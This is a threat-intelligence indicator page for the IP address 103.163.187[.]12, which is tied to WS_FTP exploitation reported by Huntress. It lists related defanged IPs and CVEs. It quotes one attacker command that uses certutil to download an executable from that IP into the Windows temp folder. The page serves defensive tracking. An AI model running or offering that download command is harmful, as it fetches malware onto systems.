103.163.187[.]12IP address
Reported by 1 independent source · first reported by Huntress · last reported
Last reported 3 years ago
What the reports say
1 report, newest first · the exact sentence from each-
Critical Vulnerabilities: WS_FTP Exploitation“certutil -urlcache -f hxxp://103.163.187[.]12:8080/cz3eKnhcaD0Fik7Eexo66A C:\WINDOWS\TEMP\zpvmRqTOsP.exe”
Indicators reported together
named in the same reports- hxxp://103.163.187[.]12:8080/cz3eKnhcaD0Fik7Eexo66Ain 1 report
- 64.227.126[.]135in 1 report
- 86.48.3[.]172in 1 report
- 161.35.27[.]144in 1 report
- 162.243.161[.]105in 1 report
Copy these 5 indicators · defanged
Also named with it: CVE-2023-40044, CVE-2023-42657, CVE-2023-40045, CVE-2023-40046, CVE-2023-40048, CVE-2022-27665, CVE-2023-40049
Thanks — we review every report.